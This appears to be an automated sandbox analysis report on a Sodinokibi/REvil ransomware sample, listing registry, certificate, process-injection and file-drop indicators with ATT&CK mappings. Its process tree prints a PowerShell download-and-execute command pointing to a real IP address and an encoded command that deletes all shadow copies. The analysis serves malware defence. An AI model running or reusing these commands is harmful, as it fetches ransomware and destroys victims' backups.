19000000010000001000000099c03958d4138c59ae87672beb67432a040000000100000010000000b3a53e77216dac4ac0c9fbd5413dca060f00000001000000140000004601bf416f3477a4d5894c25d2d84f96d440660703000000010000001400000058119f0e128287ea50fdd987456f4f78dcfad6d41d0000000100000010000000fa6bbd4f1df0b2d1e5562c770867e2bb0b000000010000001400000055005300450052005400720075007300740000001400000001000000140000005332d1b3cf7ffae0f1a05d854e92d29e451db44f090000000100000016000000301406082b0601050507030406082b0601050507030153000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c02000000001000000620400003082045e30820346a003020102021044be0c8b500021b411d32a6806a9ad69300d06092a864886f70d0101050500308193310b3009060355040613025553310b3009060355040813025554311730150603550407130e53616c74204c616b652043697479311e301c060355040a131554686520555345525452555354204e6574776f726b3121301f060355040b1318687474703a2f2f7777772e7573657274727573742e636f6d311b30190603550403131255544e202d2044415441436f727020534743301e170d3939303632343138353732315a170d3139303632343139303633305a308193310b3009060355040613025553310b3009060355040813025554311730150603550407130e53616c74204c616b652043697479311e301c060355040a131554686520555345525452555354204e6574776f726b3121301f060355040b1318687474703a2f2f7777772e7573657274727573742e636f6d311b30190603550403131255544e202d2044415441436f72702053474330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfee5810a22b6e55c48ebf2e4609e7e0080f2e2b7a13941bbdf6b6808e650593001ebcafe20f8e190d1247ecacada3fa2e70f8de6efb5642159e2e5cef23de21b9057627190f4fd6c39cb4be941963f2a6110aeb53489cbef2293b16e81aa04ca6c9f4185968c070f25300c05e5082a5566f36f94ae04486a04d4ed6476e494acb67d7a6c405b98e1ef4fcffcde736e09c056cb2332215d0b4e0cc17c0b2c0f4fe323f292a957bd8f2a74e0f547ca10d80b30903c1ff5cdd5e9a3ebcaebc478a6aae71ca1fb12ab85f42050bec4630d1720bcae9566df5efdf78be61bab2a5ae044cbca8ac691597bdefebb48cbf35f8d4c3d1280e5c3a9f7018332077c4a2af0203010001a381ab3081a8300b0603551d0f0404030201c6300f0603551d130101ff040530030101ff301d0603551d0e041604145332d1b3cf7ffae0f1a05d854e92d29e451db44f303d0603551d1f043630343032a030a02e862c687474703a2f2f63726c2e7573657274727573742e636f6d2f55544e2d44415441436f72705347432e63726c302a0603551d250423302106082b06010505070301060a2b0601040182370a030306096086480186f8420401300d06092a864886f70d01010505000382010100273597008a8b28bdc633301e29fce2f7d598d440bb60cabfab172c09367f50fa41dcae963a0a233e8959c9a307ed1b37adfc7cbe51495ade3a0a54081645c299b187cd8c68e06903e9c44e98b23b8c16b30ea00c98509b93a97009c82ca38fdf02e4e0713af1b42372a0aa01dfdf983e1450a03126bd28e95a302675f97b601c8df3cd50266d04279adfd50d4547296b2ce676d9a9297d32ddc9363cbdae35f1119e1dbb903f12474e8ed77e0f62731d5226381c1849fd30749ac4e5222fd8c08ded917a4c008f727f5ddadd1b8b456be7dd6997a8c5564c0f0cf69f7a9137f69782e0dd7169ff763f604d3ccff799f9c657f4c9553978ba2c79c9a6882bf408	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436	powershell.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

powershell.exe

pid process

1424 powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

cmd.exepowershell.exe

description	pid	process	target process
PID 1008 wrote to memory of 1424	1008	cmd.exe	powershell.exe
PID 1424 wrote to memory of 1548	1424	powershell.exe	powershell.exe
PID 1424 wrote to memory of 1548	1424	powershell.exe	powershell.exe
PID 1424 wrote to memory of 1548	1424	powershell.exe	powershell.exe
PID 1424 wrote to memory of 1548	1424	powershell.exe	powershell.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

Processes:

powershell.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	1424	powershell.exe
Token: SeDebugPrivilege	1424	powershell.exe
Token: SeDebugPrivilege	1548	powershell.exe
Token: SeBackupPrivilege	796	vssvc.exe
Token: SeRestorePrivilege	796	vssvc.exe
Token: SeAuditPrivilege	796	vssvc.exe
Token: SeTakeOwnershipPrivilege	1424	powershell.exe

Suspicious behavior: EnumeratesProcesses 77 IoCs

Processes:

powershell.exepowershell.exe

pid	process
1424	powershell.exe
1424	powershell.exe
1424	powershell.exe
1548	powershell.exe
1548	powershell.exe
1424	powershell.exe
1424	powershell.exe
1424	powershell.exe
1424	powershell.exe
1424	powershell.exe
1424	powershell.exe
1424	powershell.exe
1424	powershell.exe
1424	powershell.exe
1424	powershell.exe
1424	powershell.exe
1424	powershell.exe
1424	powershell.exe
1424	powershell.exe
1424	powershell.exe
1424	powershell.exe
1424	powershell.exe
1424	powershell.exe
1424	powershell.exe
1424	powershell.exe
1424	powershell.exe
1424	powershell.exe
1424	powershell.exe
1424	powershell.exe
1424	powershell.exe
1424	powershell.exe
1424	powershell.exe
1424	powershell.exe
1424	powershell.exe
1424	powershell.exe
1424	powershell.exe
1424	powershell.exe
1424	powershell.exe
1424	powershell.exe
1424	powershell.exe
1424	powershell.exe
1424	powershell.exe
1424	powershell.exe
1424	powershell.exe
1424	powershell.exe
1424	powershell.exe
1424	powershell.exe
1424	powershell.exe
1424	powershell.exe
1424	powershell.exe
1424	powershell.exe
1424	powershell.exe
1424	powershell.exe
1424	powershell.exe
1424	powershell.exe
1424	powershell.exe
1424	powershell.exe
1424	powershell.exe
1424	powershell.exe
1424	powershell.exe
1424	powershell.exe
1424	powershell.exe
1424	powershell.exe
1424	powershell.exe

Modifies service 2 TTPs 4 IoCs

persistence

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

vssvc.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer	vssvc.exe

Enumerates connected drives 3 TTPs

Query Registry
T1012

Peripheral Device Discovery
T1120

System Information Discovery
T1082

Blacklisted process makes network request 138 IoCs

Processes:

powershell.exe

flow	pid	process
3	1424	powershell.exe
7	1424	powershell.exe
9	1424	powershell.exe
11	1424	powershell.exe
13	1424	powershell.exe
15	1424	powershell.exe
17	1424	powershell.exe
18	1424	powershell.exe
20	1424	powershell.exe
21	1424	powershell.exe
23	1424	powershell.exe
25	1424	powershell.exe
27	1424	powershell.exe
28	1424	powershell.exe
30	1424	powershell.exe
32	1424	powershell.exe
34	1424	powershell.exe
36	1424	powershell.exe
38	1424	powershell.exe
40	1424	powershell.exe
42	1424	powershell.exe
43	1424	powershell.exe
45	1424	powershell.exe
47	1424	powershell.exe
49	1424	powershell.exe
50	1424	powershell.exe
52	1424	powershell.exe
54	1424	powershell.exe
56	1424	powershell.exe
58	1424	powershell.exe
60	1424	powershell.exe
62	1424	powershell.exe
64	1424	powershell.exe
65	1424	powershell.exe
67	1424	powershell.exe
69	1424	powershell.exe
71	1424	powershell.exe
73	1424	powershell.exe
75	1424	powershell.exe
77	1424	powershell.exe
78	1424	powershell.exe
80	1424	powershell.exe
82	1424	powershell.exe
84	1424	powershell.exe
85	1424	powershell.exe
87	1424	powershell.exe
89	1424	powershell.exe
91	1424	powershell.exe
93	1424	powershell.exe
95	1424	powershell.exe
96	1424	powershell.exe
98	1424	powershell.exe
100	1424	powershell.exe
101	1424	powershell.exe
103	1424	powershell.exe
105	1424	powershell.exe
106	1424	powershell.exe
108	1424	powershell.exe
110	1424	powershell.exe
111	1424	powershell.exe
113	1424	powershell.exe
114	1424	powershell.exe
116	1424	powershell.exe
118	1424	powershell.exe

Drops file in Program Files directory 32 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	\??\c:\program files\OpenSave.png	powershell.exe
File opened for modification	\??\c:\program files\RevokeRead.DVR-MS	powershell.exe
File opened for modification	\??\c:\program files\GetRemove.txt	powershell.exe
File opened for modification	\??\c:\program files\HideUnblock.pcx	powershell.exe
File opened for modification	\??\c:\program files\InstallFormat.3gp2	powershell.exe
File opened for modification	\??\c:\program files\ProtectMeasure.ogg	powershell.exe
File opened for modification	\??\c:\program files\SwitchDisconnect.scf	powershell.exe
File opened for modification	\??\c:\program files\UnpublishSuspend.easmx	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\desktop\5lh273zx0w-TrimegahSecurities-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\ConvertFromPublish.dib	powershell.exe
File opened for modification	\??\c:\program files\RedoDisconnect.m4v	powershell.exe
File opened for modification	\??\c:\program files\TestReset.mpe	powershell.exe
File opened for modification	\??\c:\program files\TraceMeasure.search-ms	powershell.exe
File created	\??\c:\program files (x86)\5lh273zx0w-TrimegahSecurities-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\DismountExit.jpeg	powershell.exe
File opened for modification	\??\c:\program files\RemoveDisable.mpeg2	powershell.exe
File opened for modification	\??\c:\program files\ResetNew.mp4v	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\5lh273zx0w-TrimegahSecurities-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\NewUse.ttc	powershell.exe
File opened for modification	\??\c:\program files\SaveConvert.i64	powershell.exe
File opened for modification	\??\c:\program files\SavePing.vstx	powershell.exe
File opened for modification	\??\c:\program files\TestRead.vssx	powershell.exe
File opened for modification	\??\c:\program files\ExpandRemove.mhtml	powershell.exe
File opened for modification	\??\c:\program files\GetStep.mhtml	powershell.exe
File opened for modification	\??\c:\program files\LimitOptimize.ogg	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\5lh273zx0w-TrimegahSecurities-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\OpenEnter.mp4	powershell.exe
File opened for modification	\??\c:\program files\SendTrace.M2V	powershell.exe
File created	\??\c:\program files\5lh273zx0w-TrimegahSecurities-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\DenyReset.dwg	powershell.exe
File opened for modification	\??\c:\program files\LimitHide.htm	powershell.exe
File opened for modification	\??\c:\program files\MergeSelect.ogg	powershell.exe

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\3ba797dc80d83cbfa6d1a0d86e44b07f.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1008

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/3ba797dc80d83cbfa6d1a0d86e44b07f');Invoke-RVAOEIZDHXXE;Start-Sleep -s 10000"
2⤵
- Sets desktop wallpaper using registry
- Drops file in System32 directory
- Modifies system certificate store
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
- Drops file in Program Files directory
PID:1424

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:1548

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
- Modifies service
PID:796

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

1

T1031

Privilege Escalation

Defense Evasion

Install Root Certificate

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

1

T1491

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_2f8f6cc7-ae83-4f79-b06e-2b9a49e06c5b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_3f934678-4276-4d7d-9a2b-7ccacecf398b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_670419ca-9b90-4e9d-a6c5-f73b7563d382

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_9065e065-05e7-4eaa-bb93-1db6da178e99

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a3b7b651-7089-41b5-9155-3fb877609508

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_b7a807a3-f6b6-4397-972a-e9e81988f869

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads